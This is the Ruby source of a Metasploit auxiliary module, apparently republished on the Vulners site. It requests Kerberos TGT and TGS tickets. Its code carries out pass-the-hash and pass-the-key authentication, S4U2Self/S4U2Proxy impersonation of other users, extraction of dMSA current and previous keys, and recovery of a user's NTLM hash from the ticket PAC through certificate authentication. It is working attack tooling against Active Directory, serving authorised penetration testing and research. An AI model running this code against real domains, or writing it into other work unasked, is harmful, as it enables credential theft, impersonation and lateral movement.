Lucene search
K

Kerberos TGT/TGS Ticket Requester

Kerberos TGT/TGS Ticket Requester module for Metasploit framework. Requests TGT/TGS Kerberos tickets from the KDC

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Kerberos
  include Msf::Exploit::Remote::Kerberos::Client
  include Msf::Exploit::Remote::Kerberos::Ticket::Storage

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kerberos TGT/TGS Ticket Requester',
        'Description' => %q{
          This module requests TGT/TGS Kerberos tickets from the KDC
        },
        'Author' => [
          'Christophe De La Fuente', # Metasploit module
          'Spencer McIntyre', # Metasploit module
          # pkinit authors
          'Will Schroeder', # original idea/research
          'Lee Christensen', # original idea/research
          'Oliver Lyak', # certipy implementation
          'smashery' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'AKA' => ['getTGT', 'getST'],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ],
          'Reliability' => [ ]
        },
        'Actions' => [
          [ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
          [ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
          [ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
        ],
        'DefaultAction' => 'GET_TGT',
        'AKA' => ['PKINIT'],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1550_003_PASS_THE_TICKET],
          ['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]
        ]
      )
    )

    register_options(
      [
        OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
        OptString.new('USERNAME', [ false, 'The domain user' ]),
        OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
        OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
        OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
        OptEnum.new('IMPERSONATE_TYPE', [true, 'The impersonation type to use when requesting a TGS', 'none', ['auto', 'generic', 'none', 'dmsa'], 'none']),
        OptString.new(
          'NTHASH', [
            false,
            'The NT hash in hex string. Server must support RC4'
          ]
        ),
        OptString.new(
          'AES_KEY', [
            false,
            'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
          ]
        ),
        OptString.new(
          'SPN', [
            false,
            'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
          ],
          conditions: %w[ACTION == GET_TGS]
        ),
        OptString.new(
          'IMPERSONATE', [
            false,
            'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
          ],
          conditions: %w[ACTION == GET_TGS]
        ),
        OptKerberosCredentialCache.new(
          'Krb5Ccname', [
            false,
            'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
          ],
          conditions: %w[ACTION == GET_TGS]
        ),
      ]
    )

    deregister_options('KrbCacheMode')
  end

  def validate_options
    if datastore['CERT_FILE'].present?
      pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
      @pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]

      if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
        fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
      elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
        fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
      end

      begin
        @username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
      rescue ArgumentError => e
        fail_with(Failure::BadConfig, e.message)
      end
    else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
      @username = datastore['USERNAME']
      fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?

      @realm = datastore['DOMAIN']
      fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
    end

    if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
      fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
    end

    if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
      fail_with(Failure::BadConfig,
                'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
    end

    if action.name == 'GET_TGS' && datastore['SPN'].blank?
      fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
    end

    if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
      fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
    end

    if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
      fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
    end

    if datastore['IMPERSONATE'].present? && datastore['IMPERSONATE_TYPE'] == 'none'
      fail_with(Failure::BadConfig, 'IMPERSONATE_TYPE must be set to "generic", "dmsa" or "auto" when IMPERSONATE is provided')
    end
  end

  def run
    validate_options

    result = send("action_#{action.name.downcase}")

    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: 'kerberos',
      info: "Module: #{fullname}, KDC for domain #{@realm}"
    )

    result
  rescue ::Rex::ConnectionError => e
    elog('Connection error', error: e)
    fail_with(Failure::Unreachable, e.message)
  rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
         ::EOFError => e
    msg = e.to_s
    if e.respond_to?(:error_code) &&
       e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
      msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
    end
    fail_with(Failure::Unknown, msg)
  end

  def init_authenticator(options = {})
    options.merge!({
      host: rhost,
      realm: @realm,
      username: @username,
      pfx: @pfx,
      framework: framework,
      framework_module: self
    })
    options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
    if datastore['NTHASH'].present?
      options[:key] = [datastore['NTHASH']].pack('H*')
      options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
    end
    if datastore['AES_KEY'].present?
      options[:key] = [ datastore['AES_KEY'] ].pack('H*')
      options[:offered_etypes] = if options[:key].size == 32
                                   [ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
                                 else
                                   [ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
                                 end
    end

    Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
  end

  def action_get_tgt
    print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")

    # Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
    authenticator.request_tgt_only
  end

  def action_get_tgs
    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
    tgt_request_options = {}
    if datastore['Krb5Ccname'].present?
      tgt_request_options[:cache_file] = datastore['Krb5Ccname']
    end
    credential = authenticator.request_tgt_only(tgt_request_options)

    if datastore['IMPERSONATE_TYPE'] == 'dmsa'
      print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")

      sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
        name_string: [
          'krbtgt',
          @realm
        ]
      )

      nonce = rand(0..0x7FFFFFFF)
      auth_options = {
        sname: sname,
        nonce: nonce,
        impersonate: datastore['IMPERSONATE'],
        impersonate_type: datastore['IMPERSONATE_TYPE']
      }
      tgs_ticket, tgs_auth, tgs_credential = authenticator.s4u2self(
        credential,
        auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
      )

      tgs_auth.pa_data.each do |pa_data|
        if pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE
          dmsa_key_package = Rex::Proto::Kerberos::Model::DmsaKeyPackage.decode(pa_data.value)
          print_dmsa_key_package_info(dmsa_key_package)
        end
      rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e
        print_error("#{peer} - Failed to decode dMSA Key Package: #{e.message}")
        next
      end

      auth_options[:tgs_ticket] = tgs_ticket
      auth_options[:credential] = tgs_credential
      auth_options
    elsif datastore['IMPERSONATE_TYPE'] == 'generic'
      print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")

      sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
        name_string: [@username]
      )
      auth_options = {
        sname: sname,
        impersonate: datastore['IMPERSONATE']
      }
      tgs_ticket, _tgs_auth = authenticator.s4u2self(
        credential,
        auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
      )

      auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
        name_string: datastore['SPN'].split('/')
      )
      auth_options[:tgs_ticket] = tgs_ticket
      authenticator.s4u2proxy(credential, auth_options)
    else
      print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")

      sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
        name_string: datastore['SPN'].split('/')
      )
      nonce = rand(0..0x7FFFFFFF) # nonce should be a signed 32-bit integer
      tgs_options = {
        sname: sname,
        nonce: nonce,
        ticket_storage: kerberos_ticket_storage(read: false)
      }

      authenticator.request_tgs_only(credential, tgs_options)
    end
  end

  def print_dmsa_key_package_info(dmsa_key_package)
    print_status('dMSA Key Package:')

    print_status('  Current Keys:')
    dmsa_key_package.current_keys.each do |key_set|
      key_set.each do |key|
        type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
        value = key[1][0]
        print_good("    Type: #{type}, Key: #{value.unpack1('H*')}")
      end
    end

    print_status('  Previous Keys:')
    dmsa_key_package.previous_keys.each do |key_set|
      key_set.each do |key|
        type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
        value = key[1][0]
        print_good("    Type: #{type}, Key: #{value.unpack1('H*')}")
      end
    end
  end

  def action_get_hash
    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
    auth_context = authenticator.authenticate_via_kdc(options)
    credential = auth_context[:credential]

    print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")

    session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
      type: credential.keyblock.enctype.value,
      value: credential.keyblock.data.value
    )

    tgs_ticket, _tgs_auth = authenticator.u2uself(credential)

    ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
      tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
    )
    value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
    pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
    pac_info_buffer = pac.pac_info_buffers.find do |buffer|
      buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
    end
    unless pac_info_buffer
      print_error('NTLM hash not found in PAC')
      return
    end

    serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
    ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
    print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")

    report_ntlm(ntlm_hash)
    ntlm_hash
  end

  def report_ntlm(hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'kerberos',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :ntlm_hash,
      jtr_format: jtr_format,
      username: @username,
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: @realm
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation